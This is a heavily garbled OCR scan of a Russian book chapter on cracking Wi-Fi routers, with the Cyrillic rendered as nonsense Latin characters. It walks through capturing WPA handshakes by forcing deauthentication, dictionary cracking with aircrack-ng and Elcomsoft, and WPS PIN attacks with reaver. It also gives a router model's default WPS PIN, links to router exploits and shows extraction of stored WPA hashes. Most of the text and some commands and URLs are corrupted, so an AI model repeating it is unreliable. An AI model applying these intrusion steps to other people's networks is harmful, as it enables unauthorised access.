9TO OCTaBJIsAis YPOBEHb MYTAlMii [0 YMOJMAHHMIO W HE MCIIOB3Yys BO3MOXHOCTH BHAEO-
KapTsl, JUIA MOJIHOTO Mepebopa Mo IBYM CJIOBapsAM Ha, KOMITBIOTEpE CpeaHeil MOIHOCTH
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y Bac yieT He MeHee IBYX CYTOK (IBYXBANEpHBIM 3-rurarepueBsiii Intel-nponeccop,
2 Mbaiir onepaTuBHO# namsTi). OpHEHTUPOBOYHBIE PacUeTHI CeNIaHbI Ha 5TOM NpAMeEpe —
50% omHOrO ClIOBaps MPUMEPHO paBHO 12 dacam, 3Ha9MT, Ha 2 croBaps 12 x 4 = 48 ga-
coB (puc. 4.25).

Elcomsoft Wireless Security Auditor

‘Puc. 4.25

B cily4ae NpUMEHEHHsS BUAEOKAPTHL C XapaKTEPHCTHKAMM, YKA3aHHEIMA PaHee, MOJTHbIH
nepe6op 1o ByM CIOBapAM 3afiMET IIPHUMEPHO 5 gacos.

Xakep, He IOAKIIOYASACH K POYyTEpPY, MOXKET (C KaKOH-TO eMy OJHOMY HM3BECTHOM LEIIBIO)
NpOCTO, HalpUMeEp, YUTaTh "Ha Jety" Tpaduk xeprBbl. Jla X0Ta OBl OITH XK€ C LEIBIO
3aBJaJieHHs KakuM-m60 maponem! Ho u 3eck He Bee Tak mpocto! Kak pacumudpoBsi-
BaTh Tpaduk "Ha sery"? Jleno B ToM, uto amroputM mudposanus WPA He Tak yx H
MPOCT, Ui Aemudparmy TpaduKka HeIOCTATOYHO 3HaHUA Napord. M Bce ke 3TO BO3MOX-
Ho. C 3ro#i nensio nmporpamme CommView for Wi-Fi Hy)xHO niepexBaTUTh TO MTHOBEHHE,
KOT/ia IIPOMCXOAMT nepBas (asa oOMeHa KIHOYaMH MEXAy POYTepoM M KOMIIBIOTEPOM
*KepTBHl (pykonoxarue)! JlioGuTene TeopHH MBI OTOIIUIEM M3y4aTh TpoTokon EAPOL,
KOTOpHIi HPUMEHsETCS NPH ayTeHTHHKaIH. XaKep ke, ake He H3ydas TeOpuH, GyaeT
MPOCTO KCIIONB30BaTh BO BPEMS aTak "MOJYJIb peaccolMaliH” yke MomoOuBIIeHcs
HaM nporpamMmsl CommView (puc. 4.26).

Monyis nockUIaeT 3anpoc Ha JeayTeHTUGUKaIpIo OT poyTepa. 3T0 TIPHBOMIHT K Peacco-
IMaIK KOMITHIOTepa XXepTBHI H poyTepa. IIponemypa [UTUTCS BCero JIMIIb JOMH CEKyHZ.
3aro nepexBagens! EAPOL-nakeTsl, HeoOxomaumele ana aemmdparpu WPA-PSK.

IIpuaem, B ciry ocoGeHHocTeil ycrpoiicTBa mpoTokonoB TCP/IP xxepTBa Bo BpeMs 3ToM
NpOLIeAyPH! PaKTUYECKH ke He 3aMEeTHT HeOONBImoro c6os 1Mo Toi MpHYHMHEe, 9TO Ha
YPOBHE paboTHI MPUIOXKEHHUH ero (c60s) mpocTo He OyAeT: MOTepAHHBIE MTAaKeTHl IIOBTO-
pATCA, a 3aMeTICHUE OKKETCs HE3HAYUTEIbHBIM.

B 3axmouenue pasroBopa 00 ykasaHHOM 31ech Meroze B3oMa Wi-Fi-poyrepoB Henb3s
HEe YNMOMAHYTh €Ile H' O TOM, YTO KpOME€ BCEro yxe€ IEepedrCIeHHOro MIporpaMma
CommView Bximouaer B ce0s Gonpmide BO3MOXXHOCTH Ui aBTOMaTH3amuy paboT Ha
Biiagke IIpenympexxaenmsi B ~muanoroBoM okHe Hacrpoiika mnpexympexieHnst
(puc. 4.27), rae MOXXHO HACTPOHTH Pa3IMIHbIC JCHCTBHS.



N

[naea 4

- 22 Tp-UinkT:C68260 |

2 Tp-Link:D77ASE

- B ZyxelComBBFALE

802.11g

> BCOGALERINES
D-Link6DITF:F

Puc. 4.27
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IMpu ymenom MCnONB30BaHAM YKA3aHHBIX Ha 3TOM BKJIaJIKe apaMeTpoB W JeCTBHI Xa-
Kep MOXKET, HallpuMep, 3aCTaBUTH NIPOrpaMMy aBTOMaTHYECKH HaYHHATH 3aHKCh [IaKETOB
B IIPOTOKOJI TOJIBKO B CiTydae HOSBJIEHH HaYajla AUAJIora IpH ayTeHTU(HKAIMH U aBTO-
pH3aLHH XKEPTBBI Ha KAKOM-THO0 GopyMe. ITO OYEHb BaXKHBIE BO3MOXKHOCTH.

IMomyTHO 3aMeTUM MHTEPECHBI MOMEHT B oTHouieHHH nporpammsl Elcomsoft Wireless
Security Auditor. Ecu Bocnonb3oBathes B niporpamme dyskimei Jamn WPAPSK x3-
meli Windows (cM. puc. 4.17), To oHa NOKaXeT X3M-QYHKIMM H COOTBETCTBYIOIIHE
3HaueHus mapoieid Bcex cereif Wi-Fi, K KOTOpBIM NOAKTIOYAICS 3TOT KOMIBIOTED
(puc. 4.28). st 3a0BIBYMBEIX OJIE3HO!

: i-ts&zx kgsmi,zois ’ Imports handshak ﬁm‘CAﬁs&'s\Bbeﬂ:!anbim
f§ 3¢ 14:54:23 August 01, 2015 mmmmﬁm::hwmﬂe

Puc. 4.28 )
?
Ectp TOMBKO 01HO "HO": 06€ TpOrpaMMBEl, YKa3aHHbIC B HACTOSIIIEH METOJMKE, IUIaTHBIE.
Ji1 xakepa-To B 3TOM HeT NMpoGjieM: Bce, 9TO eMy Hy>KHO, OH BCET/ia Hal/IeT Ha TOppeH-
tax. [Ipmaem, ecim CommView for Wi-Fi Oyzmer craposara u He Gyner conepxars IOA-
XOIAIMX JpadBepoB JyIi ceTeBoi kapThl Wi-Fi , To 1 371ech oH Haliziet Bbxoz. Kak 6pu10
ormcano B kuure "MHcTpyMeHTapuii Xakepa"', OH MOXET C MOMOMIBIO GeCIUIaTHOM yTH-
s DriverMax COOPYIMTH HEKHii KOHTJIOMEpAT, B3SB 33 OCHOBY CJIETKA YCTAPEBIIYIO
Bepcuro CommView for Wi-Fi ¢ TOPPEHTOB, a TpeOyeMBble ApaiBeph! BBIKAYaTh U3 IEMO-
BEPCHH.

Jns Hac jke, 3aKOHOMOCITYIMHBIX TONb30BATENEH, MPOIECC M3y9EHHUs STOr0 METOAA BIIOJI-
HE MOXKHO TIOCTPOHTSH ¥ ‘Ha JieMo-Bepcusax. Ho Bce jke paccMOTpUM M GecIuiaTHbIe aHaso-

! Ba6um C. Unctpymentapuit xakepa. —: CII6.: BXB-HeTepﬁypr, 2014. — 240 c.: w1. — (I'nasamu xakeﬁa).
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T'H YIIOMSHYTHIX IPOrpaMM, A 4ero OylneM HCIONIb30BaTh YK€ 3HAKOMBIA HaM Habop
Kali Linux.

s 3axBata makeroB BMecto CommView for Wi-Fi MoxxHO mpumeHHTH nporpammy
airodump-ng, a BMecto Elcomsoft Wireless Security Auditor —'yke yIOMAHyTYIO HaMH
aircrack-ng.

Jlna mpoBeneHus tecta 3arpy3umcs ¢ mucka Kali Linux (cm. enagy 1), 3amycTuM TepMu-
HaJIGHYIO CECCHIO C root IpaBaMH (Kak 3allyCTHTh, IIOKa3aHO Ha pHC. 5.3 B 2rase 5) U 1le-
pesezieM kapry Wi-Fi B pexxuM MOHHMTOpa, ISl Y4ero AaguM KOMaHAy airmon-ng start
wlan0 (puc. 4.29)."

Puc. 4.29

Ecnm BBl cOMHeBaeTech B HauMeHOBaHMM HHTepdeiica mis Wi-Fi (wlan0), To MoxHO
,OBUTO IIpeABapHTENHHO I MHGOPMALMH BHIOIHATE KOMaHIy iwconfi (puc. 4.30).

Janee, KoMaHOM wash —i mon0 MOXHO MPOCMOTPETH HHAYOPMALMIO O HOCTYIHBIX CETAX,
HoMepax kaHanoB U MAC-agpecax touek noctyma. MAC-ampec uHTepecyromed Hac

root@kali: ~

File Edit View Search Terminal Help

Puc. 4.30
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4
ceTH (30eck — Bee Ta ke TEST) ckonmpyem B 6ydep o6MeHa, oH HaM IIOHaNOOKTCH, 3a-
MOMHHMM HOMEp KaHajla TOUKH AocTyna. Y, HakoHel, 3amyCcTUM KOMaHIy 3alllCH [TAaKETOB
B Qaiin:
airodump-ng --channel 2 --bssid 98:FC;11:F4 :10:BD -w TEST2_mon0

IrJie 2 — HOMep KaHala; KoY ~-bssid CIyXHAT Ijis ykazanus MAC-aapeca TOJIBKO HHTE-
pecyiomeif Hac TOYKH JOCTyIa, YTo0Kl He cOOMpaTh Bce MOAPAN (paHee MBI 3aIIOMHIIH
aToT aapec B Oydepe). Haunercs 3amich maketoB (puc. 4.31) B ¢aiin ¢ umenem TEST2.
IpepBath 3amich, MOMYYHB JOCTATOYHOE KOJIMYECTBO MAKETOB, CIEAYET HaXKaTHEM KOM-
Gunarmu Kiasum <Ctrl>+<C>. ‘

root@kali: ~

File Edit View Search Terminal Help

Puc. 4.31

B pesynbTare MBI OTy9UM Aaxke He OOuH ¢aiin, a Heckombko (puc. 4.32), HO Hac UHTe-
pecyeT TONBKO ¢aiil ¢ pacIIMpeHnueM cap, KOTOPBIi MpecTaBIsieT co0o# nami B popMa-
T€, IOHMMaeMoM, B TOM 4mcite, u mporpammoii Elcomsoft Wireless Security Auditor.

TEST2-01.cap TESTZ-0L.csv TEST2-0Lkismet,
sy

TESTZ-01 kismet.
netxmi

Hat_wéﬂk

8 Browse Net. _

Puc. 4.32
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Hrak, GecraTHyio 3aMeHy MepBoOi mporpaMMmsel Mbl obecrieuwn. [lepeiimeM ko BTO-
poit — aircrack-ng:

3arpy3uBmmichk ¢ mucka Kali Linux, npeasapurensHo ckonmmpyeM B Manky /root/ mojiy-
YeHHBIH paHee ¢ MOMOMIBIO Nporpammsl airodump-ng mamm-daiin TEST2-01.cap mia
cetu TEST. Tyna ske MOJ0XKHM CJIOBaph C MAPOJIAMH, B3SThIN IS YUCTOTH SKCIIEPHUMEHTA
u3 kommiekta Elcomsoft Wireless Security Auditor (¢aiin, English.dic, cm. puc. 4.19),
KOTOPBIi IOMOT HaM BCKPHITH Napoiib oT Hammel cetit TEST (puc. 4.33).

i ) : ) 5 ; i
Desktop TEST2-0l.cap english.dic

Puc. 4.33

B TepMuHanbpHOM ceccHy BBIIOJIHUM KoMaHAY (puc. 4.34):

aircrack-ng -w english.dic TEST2-01.cap

root@kali: ~

Puc. 4.34

Haunercs nepeGop naposneii. U mocie Toro kak Gyzer "orpa6otan” Bech CIIOBapb..., Ma-
poib He Hadigercd (puc. 4.35), MOTOMy 9TO MyTallUK-TO HET, a IETMKOM CJIOBA, COOTBET-
CTBYIOLIEro HaleMy IapoJo, B CJIOBAape HET.
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root@kali: ~

Fite Edit View Search Terminal Help

3:11:23)

urrant

Puc. 4.35

VI3MEeHMM CJI0Baph M BKJIIOYMM M3BECTHBIN Maposb abc12345 ot Hameii TecTOBOM ceTH
(puc. 4.36).. .

.

" isrstEmpes. ——

3 Acer & | . 3 . Penglish.dic {~) ~ gedit .
| @TeATR - & | | Fle Edt View

Search  Tools - Documents Help

—

Computer

% *english.dic ¥ |

I8 Desktop -
s i | @8 Savingenglish.dic to froot/english.dic
HrilaSystem | | o e
%Trash ; QUL BV QL it
abbreviator .
abbreviatory
abbreviature
abby
i St tabe
e 4 labc's
abclg
1apla
3bcdl1234
abcdef
abcdef1234
abcdefg

- Metwark

% Browse Net.. |

Puc. 4.36

TToBTOpMM KOMaHIy aircrack-ng, B TOYHOCTH KaK ykasaHo Ha pwuc. 4.34. B wrore —
[apoJib HaKOHeL-To 6bicTpo Hammencs (puc. 4.37).

Hyx#e1 1u kommenTapuu? [IporpamMma, He MO3BONISIOIIAs POU3BOJUTH MYTAIHMIO CJIOB,
Bps M noMoxeT B noxdope naposs!!! [ins paGoTel Takoi mporpaMmbl HEOGXOIUMO,
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qro6BI MOAOHpaeMblii Maposib HaBEpHAKA B' TOYHOCTH BXOIWI B CIIOBapb. B peansHOI
)KU3HHU 5TO OBIBAET PeJIKo.

3akaHuMBas KPaTKOe 3HAKOMCTBO c‘nporpaMMoi/’I aircrack-ng, 3aMeTHM, 4TO €€ OImMcaHue
MO>KHO HaIfTH Ha caifre:

http://www.aircrack-ng.org/doku.php?id=aireplay-ng

root@kali: ~

Fite Edit View Search Terminal Help

Puc. 4.37

4.2. Cnoco6 BTOpO#

Paccmotpum eme oxuH mpumep B3noMa Wi-Fi-poytepa. 910 OYeHb cTapblif U caMblid
MPOCTOM croco0, Hermonb3yromuii ys3suMocts WPS-nipoTokona.

Hanomumm: WPS-npotokon (Wi-Fi Protected Setup) mpuMeHSIOT /IS YIIPOIIEHHS OJHO-
HMMEHHOTO Ipoliecca HaCTpoiku GecripoBomHol ceTd. I'py60 roBops, MPOTOKOMN IUId Jie-
HUBBIX, UCTIONIB3YEMBIH B mpomecce noakmodenus Wi-Fi-ycrpoiicTBa k poyTepy, y4acT-
BYIOIIMIA B IIpOLIECCE HACTPOMKH 3TOTO YCTpOHCTBA. JlenaeTcs 910 TaK, YTO IONb30BaTelb
MOJKET HE CTaparkcs NPH KOHQHUIYPHUPOBAaHUM TMOMKIIOYAEMOTO YCTPOKHCTBA BBOIHTH
CIOXHBIA cexperHsii xmod a1 WPA. Hyxxao Ttonpko 3HaTe PIN-kox ycrpoiictsa, co-
cTosAwui Bcero U3 8 mu@p (KOTOPHIA MO yTBEPKICHHIO BCEX MCTOYHMKOB MOXKHO CUH-
TaTh C 3TUKETKM Ha Kopiyce poyrepa). [Ipu HacTpoiike, ecim Bocmoiab3oBaTees WPS,
pOyTep caM BHIIACT YCTPOHCTBY 3HaUeHHE CEKPETHOrO Kmoya. Uro6hl B3TOMaTh yCTpOii-
ctBo Wi-Fi, Hy»kHO 3HaTh TONbKO PIN-Kox 1 He TpeOyeTcs MpOM3BOAMTE CIOXHEIX aTak
i WPA (Hanpumep, mpoGoBaThk B3JIOM IO CIIOBapio ¢ MPAMEHEHHEM 3ayMHBIX, CJIOXK-
HBIX MyTallMi, ¥ He $aKT, YTO 3TO MOKET MPUBECTH K YCIIEXy).

OxkaspiBaercs, cTpykrypa PIN-koxa u camoro mpolecca aBTOpH3aLiy TaKOBA, YTO KOJIH-
4ecTBO koMOHHaIuii ripu 6pyTdopce (B3IoMe Napois MeToAoM epebopa) 3HAUUTEIBHO
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MCHBIIEC, 9YCM MOXXKHO OBUIO OBI HpeI[IIOJ'IO)KPITB, 3a CYET TOro, 4Yro KOJ COCTOUT U3 TPEX

YacTem: ‘

O nocnegHss 1Mdpa — 3TO KOHTPOJIBHAA CyMMa, IHOJYYeHHas M3 MepBHIX 7-MH LHP
(TOJIBKO 32 CYET 3TOTO YK€ 3HAUMTEIEHO YMEHBIIIIOCH KOIMYECTBO KOMOHHALWIA);

O nBe 9acTd U3 4-X H.3-X (P yYacTBYIOT B aBTOPH3aLMHY N0 OTACIBHOCTH (B pe3yilb-
TaTe 9ero i1 mOJHOro nepedopa Tpebyercs enne MeHbIIe KOMOHHAIWH).

OueHb MOAPOGHOE ONMCaHHe MPAaKTHYECKOTo IPUMepa B3IIOMa MOXKHO MpounTars B Un-
TEpHETE B CTAThE IO aJipecy:

http.//www.secuntylab.ru/contest/447512.php

TockonbKy METONMKA B3OMA HCHOIB3YCTCA IaBHO H 510 xopomo U3BECTHadA YA3BH-
MOCTb, €CTECTBEHHO KOHCTPYKTOPHI POYTEpOB Ha9all ee YIUTHIBaTh. B HacTosmee Bpe-
ms Koopmunarmonssii nentp CERT BooGine He peKOMEHIyeT MPOH3BOIUTEIAM BBITYC-
KaTh HOBOe 0GOpYJOBaHME, MOANEPKHBAIONIEe NaHHYIO TexHonormio. Haiftu poyrep,
KOTODEIX MOXHO B3JIOMATh IO YKa3aHHOMY METOMy, Cefidac ye MpeJCTaBlifeTcs mpo-
OneMaTHYHBIM. Cymecmye'r MHOro MudoB H sierenz o Baome Wi-Fi, Ho peasmu TakoBsI,
YTO Ha CeroHs, MoXKay#, HauboNee YHUBEPCATBHBIM BCE K€ OCTAeTCs CTocod, ykasaH-
HBIH B pa3o. 4.1. Tem He MeHee, O3HAKOMHTBCA C METONHKOH HHTEPECHO 110 TOM MPHIHA-
He, YTO 5TO OIMH U3 CaMbIX I deKTHBIX M3BECTHBIX cniocoGos BaioMa Wi-Fi-poyTepos.

Ecim BaM ynactcs HaliTi cTapsiif pOyTep W BB 3aXOTHTe TIOBTOPHTS TO, 9TO yKa3aHo B
CTaThe, TO HY)XKHO HMeTh B BUAY: BCEe yTHIIMTHI, YKa3aHHbIe 11t Habopa BackTrack, ume-
10TCs B npuineameM Ha ero 3ameHy Kali Linux. ITonpo6HO noBTOpSTE BCE 31€CH HET
CMBICHIA, T. K. CHHTaKCHC OYKBaJbHO BCEX KOMaHJ OCTaeTcs MpexHHM. EnuHCTBEHHOE,
M3MEHWICS NyTh K aiiiam ¢ Ga3oii maHHBIX, 0Opasyemoii mporpammoii reaver. Ceifgac
5TH (aiiIbl HaXOJATCA B MAIKe /etc/reaver/, a He Kak paHee — B /usr/local/etc/reaver/.

Taoke ele MOXHO TIOCOBETOBATh YA PaGoTHi ¢ 6a30if JAHHBIX HCIONE30BaTh MPOTPaM-
my SQLiteStudio. Yto ynoGHo: BepcHs mporpaMMbl CymecTByeT kak i Linux, Tak H
Windows. '

Hns Toro 4robsl ycraHoBMTH ee MOA Linux, Heobxomumo ckavaTth Q)apm sqlitestudio-
3.0.6.tar.xz c caiira:

http:/sqlitestudio.pl/?act=download

3ammmeM daiin B oGOl katanor, HanpuMep B /tmp (pHc. 4.38), 3aTeM BHITIONHAM B Tep-
MHHAIBHOH CECCHM KOMaHAY tar (KaK 3allyCTHTh TEPMHHAIBHYIO CECCHIO C NpaBaMH
root, ITOKa3aHo Ha puc. 5.3):

tar -xvf sqlitestudio-3.0.6.tar.xz

Xoz BBITIOTHEHAS KOMaH/IBI npe;(ciéanéxi Ha pHC. 4.39. Hp,ofpamma pacmakyercs B Manky
/tmp/SQLiteStudio. 3amyck nporpa'MMBI foKka3aH Ha puc. 4.40.

Iocne 3amycka nporpaMMH MOXHO. nozucmoqan, TpeOyembiii ¢an ¢ 6a3oif JaHHBIX
(puc. 4.41).

HeCMO’I‘pﬂ HH Ha 49TO, 60]1!:1']13 IIIaHCOB Ha B3JIOM C MOMOIHBIO reaver HO}IBPUIOCB COBCEM
HCIaBHO, ITOCJIC MOﬂ]fI(bHKaL[HI/I 3TOM nporpaMmMbl 1 BKIIIOYCHHSA B HEC BOSMO)KHOCTPI ara-
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k# Pixiewps, s gero Opute no6aBiens! HoBble kmoun! ITonpoGHee Ha pycckoM s3bIKe
00 3TOM MOXKHO IIPOYHUTATh 3/1€Ch:

http://webware.biz/?p=3847

SQliteStudio me-root putsa-

YE7tkyFNtSen

tracker-root

B Desktop

. @File System
; %’Ira_sh

| Network

Puc. 4.38 °

root@kali: /tmp

File Edit View Search Terminal Help E_

Puc. 4.39
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|Fite 'Edit View Go | Fite

Devices

i#

d SYSTEM..,
£3 Acer
&4 TEATR

i»

i

Computer
‘€3 Home

{8 Desktop Language
& File System
& Trash

Please choose language:

Network

% Browse Net.:. | ; - | S

Puc. 4.41 )



104 . Inaea 4

4.3. [ipyrmne cnoco6bl. BeiBoa

Hrak, MBI pacCMOTpeENH ‘pasMuHEIe CIOGCOOH], -MCNONB3yeMble XaKepaMd IJis B3JIOMa
Wi-Fi-cereit. IIpu 3TOM momoGHBle METONMKM HE 3aBHCAT OT MOAETH poyrepa. Ho MeI
elle HAYEro He CKa3aJld O TOM, YTO €CTh Macca "IuIp" B cHCTeMe 0e30I1aCHOCTH poyTe-
POB, IPHCYIINX HX KOHKpETHBIM -MozesaM. Eciu xakep 3HaeT THIT poyTepa, HAMEUEHHOTO
MM B KauecTBe JKEPTBL a Takoe OBIBaeT, KOraa molbk3oparels He MeHser MAC-anpec
poyrepa "mo ymomdaHuio", 6o Mcmonb3yeT ero Hazeamwe B SSID, Torma oH Moxker
IIPAMEHUTH METONOJIOTHIO, MOAXOANIYI0O MMEHHO K KOHKpeTHOH Mozemu. Ham e, mo
GOMEIIOMY CUETy, PacCKA3EIBATE O TAKHX CMOCOGaX 37eCh HET CMBIC/IA MO TOH MPOCTOl
IOpHYMHE, YTO OHH JOCTATOYHO HHAMBHIyalbHBIL. M Bce ke, TONBEKO B KauecTBE HEOOIb-
IIOTr0 NpHMepa, NpHUBENEM HECKONBKO CCHUIOK. BOT oHa M3 HHX: OKa3bIBA€TCA, 9TO
y poytepoB D-Link DSL 2640NRU, ¢ npommsxkoit Bepcun. 1.0.10, no ymomyanmo Bcerna
omuH ¥ 1ot ke PIN-kox 46264848: '

http://habrahabr.ru/post/151688

Himu BOT erme CChUIKa, 110 KOTOPO# MOXXHO HaHTH CBEACHUS O MONYICHHUU IocTyma K po-
yrepam mozeneii TL-WDR4300, TL-WR743ND, WR743ND, WR842ND, WA-90IND,
WR941N, WR941ND, WR1043ND, WR2543ND, MR3220, MR3020, WR841N:

http://weblance.com.ua/blog/160-kriticheskaya-uyazvimost-v-routerah-i-tochkah-
dostupa-tp-link.html

EcTp Taloke MHTepecHbIe IPHEMHI MO B3JIOMY POYyTepOB M3 BHyTpeHHei cerH. Bot, Ha-
npuMep, coodIeHue 06 yI3BUMOCTH CTapeHBKUX, 3aciTyxeHHbIX poyrepoB DLink DIR-300:

http://www.securityfocus.com/archive/1/514687/30/120/threaded

ITpaBna, BO3HMKAaeT COMHEHME, YTO B JAHHOM Cliydae NpaBWILHO INpuBeneH [P-anpec
JKEPTBhI, Ha KOTOPEIH [I0CHUIACTCA KOMaH/a C yKa3aHHeM CKpHITTa. [ing Takoro Tuma po-
yTepoB "mo ymomdaHuio" ucnoms3yercs [P-agpec poyrepa 10.79.0.1, a ve 10.79.1.1, kak
HAIMMCaHO B coolimeHny. MeToAnKa aBTOPOM MpHBEIEHa, HO paboTOCIIOCOOHOCTE €€ He
ucnbiTada. ¥ mockobKy MBI ¢ BaMM YYMMCS, U €ClM Y Bac eCTh JIM4HbIH poytep DIR-
300, TO B Ka9eCTBe NOMAINHErO 3aaHUs NPOBEIMTE HA HEM TaKOi KCrepuMeHT. TeM
6onee, 9To B 21a6e I yxe yNOMHMHANIOCH, KaK HCIIONE30BaTh Denwer Is BHIIOTHEHHS
PHP-ckpHnToB. B [eHCTBUTENEHOCTH MBI IPUBEH MMEHHO 3TOT PAMEP I TOrO, YTO-
651 GBUIO MOHATHO, 9YTO JUIS MOMCKA AHAJIOTHYHBIX 6aroB MOXKHO HCIIONB30BaTh KIOYE-
ByI0 ¢pasy, kak B ykazaHHom coobmenmu: "found security bug in D-Link DIR-300
wireless router" (koneuro e, BMecTo "D-Link DIR-300" Hy>HO naBaTh Ha3BaHHe CBOEi
MOJEIN). '

TToxoxe, uro mus Wi-Fi-poyrepos kinacca "mwis goMa, 1 ceMbH" pa3paboTIHMKaMH BO-
obme HUKOrJa He MpoBoauTCA nenTecTHHT. [IoaroMy BeI Ge3 Tpyna Haiiere nono6HyI0
HHOpMaIMIO U1 Balleil KOHKPETHON MO, OTAMYHOM OT yKa3aHHBIX 371eck. [Ipose-
JHTE TaKOE MCIIBITAHHE CAMOCTOATENBHO.

JI1s MOHUMAaHKUsA TeMBI HeTUI0X0 ObUI0 GBI eme MoNKUCTaTh HEKOTOphie pecypchl B HuTep-
HETE IIPO 3KCIUIOMTEI A7 MOJENeli pOyTepoB pasIMIHBIX BEHAOPOB, Ha KOTOPHIE BBl MO-
’K€Te MONacTh BOT C 3TOHM CTPaHMITHL:

http://routerpwn.com/
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Ho, nmockonsky B 6a3e NaHHBIX: YKa3aHHOTO pecypca GONBIIMHCTBO 3KCIUIOHTOB IMpHMe-
HAIOTCS U3 TOTO JK€ CETMEHTa CETH, Ile HaXOIUTCA POyTep, TO oApobOHee 3Ty mpobiemMy
paccMOTPHM B CIIEyIOIeH riiaBe, koraa OymeMm usydars nporpammy zANTI mis cMaprt-
¢oHOB. '

Cnenaem HeGonpmoit BeiBoA. IlpakThka MOKasbIBaeT, 4TO Haubosee pe3ySIETaTHBHBIM
npu Banome Wi-Fi (peus 0 WPA) Ha ceromHs MOXHO CHHTaTh CIOCO0, yKa3aHHBIH
B pa3o. 4.1. TIpu 3TOM CymecTByeT MHOXKECTBO CIIEKYJIALMI O APYTHX, SKOOBI MTHOBEH-
HBIX WIHM MHHYTHBIX crioco6ax B3moma Wi-Fi, HO 310 Bce OT JIykaBoro, He cliefyeT UM
BEPHUTb.

B neiicTBHTENBHOCTH CIIOCO0, OCHOBaHHEIM Ha cOOpe MakeToB M Aajiee nmoabope mapons
C HCMONB30BAaHMEM MyTalliMl CJIOB M3 CJOBaps NpH 3aJcHCTBOBAHMM BO3MOXXHOCTH
BHJIEOKAPTHI — 3TO ceHyac (M Ha oroe BpeMs BIiepen), NoXKajlyH, eIMHCTBCHHOE yHU-
BEPCATHHOE HEYCTApeBaloiee CPENCTBO, HE 3aBHCAINEE OT OMMOOK IPOM3BOAUTEINEH
KOHKPETHBIX Mozeneil poyrepoB. I[IpudeM, MOBTOpPHMCS: ONPEACILIOIUM SBIIETCS
HMEHHO NPHMEHEHHe Crioco0a MyTaliH CIIOB M3 CI0Baps.
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3aknounTenbHbIA LUK
3NMO0yMbILUJIeHHUKA,

WK 4YTO AenaeT xakep
nocne B3noma Wi-Fi-cetu

5.1. Yto penaet xakep
ANs NpoaoMKeHUs NPOHUKHOBEHUSA

Bonpoc "uro menars?" — HMCKOHHO Hall, POCCHICKHIA. A 9TO [eNaeT Xakep Aajibile,
nocie B3noMa um napons Wi-Fi-cetn, 3amaBimuch Takum Borpocom?

Bbl 04eHBb yAUBUTECH, HO B 95% CilydaeB Jaliblie YKe Ae/aTh HHUero He npuiercs. Jleno
B TOM, 4TO 3TH 95% mnons30Bareneii BooOLIe He 3alMUINAIOT HUKAaK BHYTPEHHHE pecyp-
CBI — BCe KOMITBIOTEPBI H YCTpOHCTBa GyyT C "pacmapeHHbIMH" pecypcaMH, 6e3 Kakux-
b0 napoJreii.

Tpexie 4eM TPOJODKUTE TIOBECTBOBAHHE NP0 5% OCTABIUMXCSA CYTEPIIPOJBHHYTHIX
TI0JIB30BaTeNeld, BHOBD ciesiaeM Hebobimoe oTcTyruieHre! BepHeMCs K IOMydYeHHIO ma-
pona ot cetn Wi-Fi. Obnanas ¢pusmgeckuM JOCTYNIOM K KOMIIBIOTEPY, ¢ MOMOMIBIO MPO-
rpaMmbl Cain Xakep MOXET JIErKO BBISCHHTh X3MI-GYHKIMIO OT MapoJii JOCTYyIa K CETH
Wi-Fi: Cracker | WPA-PSK Hashes (puc. 5.1).

Hmes x3m-QyHKIHIO, ¢ IPUMEHEHHEM paly KHBIX TaOHI] BEIYKCIUTE Napojib HE Mpej-
CTaBJIIET HAKAKOrO TPy/a B CUMTaHHbIE MUHYTHI (cM. 21agy 7). Tem Gonee, 4To U B caMoit
nporpamme Cain INETYKOM HPaBOi KHOMKOM MBIIM Ha CTPOKE CO 3HAYCHHEM XdII-
" GyHKLMM JIETKO BHI3BIBAETCA MEHIO, B KOTOPOM ecTh dyHkums Cryptanalysis Attack via
RainbowTables (puc. 5.2).

XOT4 B KaKMX CIyJasX TaKoe MOXET MOHaJO00UTBCS, CKa3aTh TPYIHO, NOCKOJIBKY Mapoib
M TaK JIETKO IIOCMOTPETH B OTKPLITOM BHJIE, €CITH KOMITBIOTEP (HU3MYECKH B BallIAX PyKaxX.
Ja atoro HyxHO BOHTH B IleHTp ynpaBieHHSI CeTIMH H O6IIHM JXOCTYIOM, 3aTeM
BHIOpaTh KOMaHIy YHpaBjeHHe GecHPOBOJHLIMH CeTSIMH, Jajce METUKOM MpaBOH
KHOIIKOM MBI HA KOHKPETHOM COEAMHEHUH BBIOpaTh koMaHDy CBoO#CTBa, a Ha BKJIaj-
ke be3omacHocTh OTKPEIBIIETOCS JUATIOrOBOrO OKHA YCTaHOBHTH (iiaxkok OTobpaxarh
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§* Cracker AR
4 LM 8 NTLM Hashes (0) 3E974C521C68D3CC207A7

A NTLMv2 Hashes (0)
i .o

p—— -

- Puc. 5.1

Dictionary Attack
Brute-Force Attack

Change ESSID

Select All ]
Note {

Test password

Add to list Insert
Remove Delete
Remove All

Puc. 5.2

BBOAHMbI€ 3HAKH. JTO TOYHO MOKET IIPUTOIUTHCSA, KOTIa XO35HH OJJHOBPEMEHHO 3a0bL1
napons Wi-Fi 1 notepsut AocTyn Kk poyTepy, YToObI 3dHOBO HE HACTPaMBATh MOCIICIHHIA.
Kax Hu cTpaHHO, HO Takas cHTyamus ObiBaeT 4acto. Mayio Toro, BbI JOJDKHBI 3HaTh, YTO
ecJTd Ball HOyTOYK moObIBajl B pyKax y cocela-Ipyra, IoKa BbI OTJIyYaHCh Ha KyXHIO Ha
MHHYTKY HAJIMUTh 440, TO, yXOJii OT Bac, OH OyzieT 3HaTh napons amei Wi-Fi-ceTn.

Ho MBI OnATE OTBIEKINCH, BEPHEMCS K HallleMy HCCIIEIOBAaHUIO YK€ BHYTPEHHEH CeTH.
IToMHHUTCS, MBI OCTaHOBHIIMCH Ha TOM, YTO OCTaeTcs eme 5% yNpsAMBIX MOJIb30BaTelNeH,
KOTOPBIE 3allMINAIOT PECYpPChl BO BHYTpEHHEH CeTH WM He "pacmiapuBaioT" Bce HOAPSAN
6e3 nmaponeii. C HuMu-TO yTo? TOraa HyXHO BpeMs I JOJTHX M3BICKaHUH. A JUTA 3TOr0
XaKepy Bce ke Jydllle MMeTh yAaleHHbIH JOCTYH K ceTH. Y1 B TaKoM CiTydae, B TIEpPBYIO
odepesb €My Hafo 3aKpelHTh Y)ke JOCTUTHYTHIHA ycnex. B aTuxX memsx HeoOXoaumo mo-
JYYHTH JOCTYIl HE TOJIBKO B JIOKAJIBHYIO CETh XKEPTBHI (KOTOPBIH, KaK MBI JOTOBOPHIIHCH
paHee, yxe HOJIy4eH) HO H, B IIEPBYIO O4epellb, K BOSMOXKHOCTH KOH)HUI'YPHPOBaHUS ca-
